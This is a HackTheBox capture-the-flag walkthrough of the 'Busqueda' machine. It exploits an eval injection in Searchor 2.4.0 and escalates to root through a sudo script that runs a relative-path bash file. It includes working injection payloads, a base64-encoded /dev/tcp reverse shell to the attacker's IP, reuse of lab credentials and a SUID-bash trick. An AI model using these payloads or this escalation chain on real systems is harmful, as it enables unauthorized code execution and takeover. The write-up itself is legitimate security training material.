index-logo

Busqueda - HTB

walkthrough by elswix

Machine: Busqueda
Difficulty: Easy
Platform: HackTheBox
Release: Released on 04/08/2023
Busqueda is a platform that provides a website offering links to various web pages based on user input. Behind the scenes, it utilizes the Python Searchor command line tool. In this scenario, I identify an unsafe eval vulnerability and exploit it to gain code execution privileges. On the host system, users have the option to execute a Python script using sudo, but the script's content remains hidden. My approach involves discovering a virtual host associated with Gitea and leveraging this discovery, in conjunction with different login credentials, to eventually locate the source code of the script. This enables me to determine how to execute it in a way that grants arbitrary root-level access.



Recon:


As always, we must ascertain the open ports on the target machine, as it is through these ports that it exposes its services.

Now, using nmap:

elswix@parrot$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.208 -oN portScan

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-24 15:35 EDT
Initiating SYN Stealth Scan at 15:35
Scanning 10.10.11.208 [65535 ports]
Discovered open port 22/tcp on 10.10.11.208
Discovered open port 80/tcp on 10.10.11.208
Completed SYN Stealth Scan at 15:36, 15.39s elapsed (65535 total ports)
Nmap scan report for 10.10.11.208
Host is up, received user-set (0.15s latency).
Scanned at 2023-06-24 15:35:49 EDT for 15s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.54 seconds
           Raw packets sent: 75492 (3.322MB) | Rcvd: 75471 (3.019MB)
We can observe that there are two open ports. One of these ports is 22, corresponding to the SSH service. The other port we've identified is port 80, which belongs to the HTTP service, namely, a web service.

Since we lack valid credentials, we cannot exploit port 22 to gain access to the system; therefore, it appears that we should commence with port 80.

If you do not recognize any of these ports, you may employ the nmap tool once more to conduct a comprehensive scan to identify the services and versions running on those ports.

nmap -sCV -p80,22 10.10.11.208 -oN fullScan
elswix@parrot$ nmap -sCV -p80,22 10.10.11.208 -oN fullScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-24 15:45 EDT
Nmap scan report for 10.10.11.208 (10.10.11.208)
Host is up (0.19s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.36 seconds
Before proceeding with the scan results, we can observe that when accessing the website via the IP address, it redirects us to a domain that doesn't resolve. Therefore, we need to add it to the /etc/hosts file.

# Host addresses
127.0.0.1  localhost
127.0.1.1  Parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters

# HackTheBox
10.10.11.208 searcher.htb
Typically, before accessing the browser, I like to analyze the technologies and resources of web services through the console. To do this, we will use the "whatweb" tool:

elswix@parrot$ whatweb -a 3 10.10.11.208
http://10.10.11.208 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.208], RedirectLocation[http://searcher.htb/], Title[302 Found]

http://searcher.htb/ [200 OK] Bootstrap[4.1.3], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.10.6], IP[10.10.11.208], JQuery[3.2.1], Python[3.10.6], Script, Title[Searcher], Werkzeug[2.1.2]
Thanks to adding the domain to the /etc/hosts file, we are now redirected to the domain pointing to the machine's IP address.

Upon analyzing the website, we can see that it utilizes Python, Werkzeug, and JQuery. It appears that the website is hosted in a Flask environment.


Web Application


Once in the browser, we can access the web page with a graphical interface:



Using the Wappalyzer extension, we can identify the technologies employed by this website:



Scrolling down on the webpage, we can observe the presence of a field that allows us to input data. This field allows us to specify a search engine and the data we wish to search for:



In the footer of the webpage, we can observe the technologies used by the web service, and one of them is Searchor v2.4.0:



If we search for vulnerabilities associated with this version of the Searchor package, we find that versions prior to 2.4.2 are susceptible to command injection.

Analyzing the source code of version 2.4.0, we can see that in the file app.py, the following lines of code are causing the vulnerability:



The issue here lies in the use of the Python eval function, which allows for the interpretation of arbitrary Python expressions from input based on strings or compiled code.


Shell as svc


At this point, I attempted to perform a search on the main page using the Google search engine, intercepting all requests with Burp Suite.



If we examine the source code, we can observe that the "query" parameter corresponds to the variable referenced in the vulnerable line of code.



After conducting some tests, we were able to make the data we sent through the "query" parameter execute Python code that we specify. Below is the payload for testing remote command execution by sending an ICMP trace:

test'),__import__('os').system('ping -c 1 10.10.16.4')#
Before sending it, we need to listen using the tcpdump tool to capture ICMP traces:

tcpdump -i tun0 icmp -n
root@parrot$ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
We send the payload:



We have received the ping:



The idea now is to send a reverse shell to obtain an interactive remote console with which to operate.

To avoid issues with single and double quotes, I will opt to use base64 encoding to encode, decode, and interpret the command that will send us the reverse shell. To do this, we will start by base64 encoding the typical Bash one-liner that will establish a reverse shell over port 443 using the TCP protocol:

echo -n 'bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1"' | base64 -w 0; echo
elswix@parrot$ echo -n 'bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1"' | base64 -w 0; echo
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0MyAwPiYxIg==
Before sending the payload, we set up a listener on port 443 using the Ncat tool:

nc -lvnp 443
root@parrot$$ nc -lvnp 443 
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
We send the following payload:

test'),__import__('os').system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0MyAwPiYxIg== | base64 -d | bash')#


root@parrot$ nc -lvnp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.208.
Ncat: Connection from 10.10.11.208:36890.
bash: cannot set terminal process group (1681): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
Excellent, we have obtained a reverse shell.

We could use this same shell we have obtained, but personally, I prefer to use a much more interactive shell to take advantage of keyboard shortcuts and other features.

To achieve this, we execute the following:

script /dev/null -c bash
svc@busqueda:/var/www/app$ script /dev/null -c bash
We press Ctrl+Z and then execute:

root@parrot$$ stty raw -echo;fg
We press Enter and execute:

svc@busqueda:/var/www/app$ reset xterm
Now, finally, we just need to export certain environment variables to be more comfortable in the console:

svc@busqueda:/var/www/app$ export TERM=xterm
svc@busqueda:/var/www/app$ export SHELL=/bin/bash
svc@busqueda:/var/www/app$ stty rows 51 columns 189


Privilege Escalation -> ROOT #


Enumerating the resources of the web service, we can see the presence of the ".git" directory of the repository.

svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 .
drwxr-xr-x 4 root     root     4096 Apr  4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec  1  2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jun 24 19:33 .git
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 templates
svc@busqueda:/var/www/app$
We enter the directory and observe that there is a file named config:

svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jun 24 19:33 .
drwxr-xr-x 4 www-data www-data 4096 Apr  3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 branches
-rw-r--r-- 1 www-data www-data   15 Dec  1  2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data  294 Dec  1  2022 config
-rw-r--r-- 1 www-data www-data   73 Dec  1  2022 description
-rw-r--r-- 1 www-data www-data   21 Dec  1  2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 hooks
-rw-r--r-- 1 root     root      259 Apr  3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec  1  2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec  1  2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec  1  2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec  1  2022 refs
svc@busqueda:/var/www/app/.git$
We list its contents and can see that it displays the password for the user "cody," apparently for connecting to a database:

svc@busqueda:/var/www/app/.git$ cat config
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[remote "origin"]
    url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
    fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
    remote = origin
    merge = refs/heads/main
svc@busqueda:/var/www/app/.git$
We can verify if the password jh1usoih2bkjaspwe92 also belongs to the current user svc:

svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc: 
Matching Defaults entries for svc on busqueda:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app/.git$
Indeed, we have obtained the password of the user we are working with, and we have the necessary privileges to execute a Python script as the root user.

Before investigating what we can do with this script, in the config file, we can also see the presence of a subdomain: gitea.searcher.htb.

I will add this subdomain to my local machine's /etc/hosts file.

# Host addresses
127.0.0.1  localhost
127.0.1.1  Parrot
::1        localhost ip6-localhost ip6-loopback
ff02::1    ip6-allnodes
ff02::2    ip6-allrouters

# HackTheBox
10.10.11.208 searcher.htb gitea.searcher.htb

Gitea Service

Let's take a look at the web service hosted on the subdomain gitea.searcher.htb.



We navigate to the authentication section.



We can try using the credentials we obtained from the config file to authenticate:

Username: cody
Password: jh1usoih2bkjaspwe92


We can verify that the credentials are correct and observe that there are repositories available:



These repositories are not useful to us since we already have access to them from the machine. However, it is interesting to note the existence of a user named administrator.

Unfortunately, we cannot view the content or modify the script as the directory it is located in belongs to the root user and does not allow reading of its files.

Next, we will execute the script exactly as shown using the sudo -l command, but adding sudo at the beginning of the command:

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)

     docker-ps     : List running docker containers
     docker-inspect : Inpect a certain docker container
     full-checkup  : Run a full system checkup

svc@busqueda:/opt/scripts$
Let's try running the docker-ps option. This option, as indicated in the help panel, will allow us to list the Docker containers that are currently running on the system.

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps

CONTAINER ID   IMAGE                COMMAND                  CREATED        STATUS       PORTS                                             NAMES
960873171e2e   gitea/gitea:latest   "/usr/bin/entrypoint…"   5 months ago   Up 3 hours   127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp   gitea
f84a6b33fb5a   mysql:8              "docker-entrypoint.s…"   5 months ago   Up 3 hours   127.0.0.1:3306->3306/tcp, 33060/tcp               mysql_db

svc@busqueda:/opt/scripts$
We can obtain information about the containers running on the system, and it seems that it also allows us to inspect them.

svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect

Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>

svc@busqueda:/opt/scripts$
It's asking us to specify a format. Initially, I wasn't sure what it meant by that, so I looked into Docker's documentation for more information on docker-inspect documentation.

I found several format examples and decided to try each one of them. During testing, one of the formats caught my attention:

docker inspect --format='{{json .Config}}' $INSTANCE_ID
It appears that this format returns certain container information in JSON format, which we can use to inspect the container. We can try it, for example, with the Gitea container. I used jq to display a more readable output on the screen.

sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect "{{json .Config}}" gitea | jq
{
  "Hostname": "960873171e2e",
  "Domainname": "",
  "User": "",
  "AttachStdin": false,
  "AttachStdout": false,
  "AttachStderr": false,
  "ExposedPorts": {
    "22/tcp": {},
    "3000/tcp": {}
  },
  "Tty": false,
  "OpenStdin": false,
  "StdinOnce": false,
  "Env": [
    "USER_UID=115",
    "USER_GID=121",
    "GITEA__database__DB_TYPE=mysql",
    "GITEA__database__HOST=db:3306",
    "GITEA__database__NAME=gitea",
    "GITEA__database__USER=gitea",
    "GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
    "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
    "USER=git",
    "GITEA_CUSTOM=/data/gitea"
  ],
  "Cmd": [
    "/bin/s6-svscan",
    "/etc/s6"
  ],
  "Image": "gitea/gitea:latest",
  "Volumes": {
    "/data": {},
    "/etc/localtime": {},
    "/etc/timezone": {}
  },
  "WorkingDir": "",
  "Entrypoint": [
    "/usr/bin/entrypoint"
  ],
  "OnBuild": null,
  "Labels": {
    "com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
    "com.docker.compose.container-number": "1",
    "com.docker.compose.oneoff": "False",
    "com.docker.compose.project": "docker",
    "com.docker.compose.project.config_files": "docker-compose.yml",
    "com.docker.compose.project.working_dir": "/root/scripts/docker",
    "com.docker.compose.service": "server",
    "com.docker.compose.version": "1.29.2",
    "maintainer": "maintainers@gitea.io",
    "org.opencontainers.image.created": "2022-11-24T13:22:00Z",
    "org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
    "org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
    "org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
  }
}
Instantly, my attention was drawn to a password that is leaked in the output again: yuiu1hoiu4i5ho1uh.

We can check if this password belongs to the administrator user of the Gitea service.



The credentials are correct, and we can access as the administrator user.

We notice that the administrator user has a repository named scripts, which is interesting because it matches the name of the folder where the system-checkup.py script is stored.



We've gained access to the source code of the scripts stored in the directory and can see the source code of the script that we can execute as root.

Upon inspecting the code, we notice that in the full-checkup option, a Bash script is executed.



The issue with this is that it searches for the script in the current working directory, which allows us to take advantage of this situation to create our own script in a location where we have permission to write and execute it as root.

Let's navigate to the /dev/shm directory:

svc@busqueda:/opt/scripts$ cd /dev/shm
svc@busqueda:/dev/shm$ touch full-checkup.sh
svc@busqueda:/dev/shm$
The idea now is to make sure that when this Bash script is executed, it assigns SUID privileges to /bin/bash.

Let's add the following content to the Bash script:

#!/bin/bash
chmod +s /bin/bash
We assign execute privileges to it:

svc@busqueda:/dev/shm$ chmod +x full-checkup.sh
Finally, let's execute the Python script using sudo and the full-checkup parameter:

svc@busqueda:/dev/shm$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup

[+] Done!
svc@busqueda:/dev/shm$
We list the privileges of /bin/bash:

svc@busqueda:/dev/shm$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan  6  2022 /bin/bash
svc@busqueda:/dev/shm$
We can see that it has the SUID bit enabled. Now, using the "-p" parameter, we can start a shell as root.

svc@busqueda:/dev/shm$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
d028******************6ddd62e89af
bash-5.1#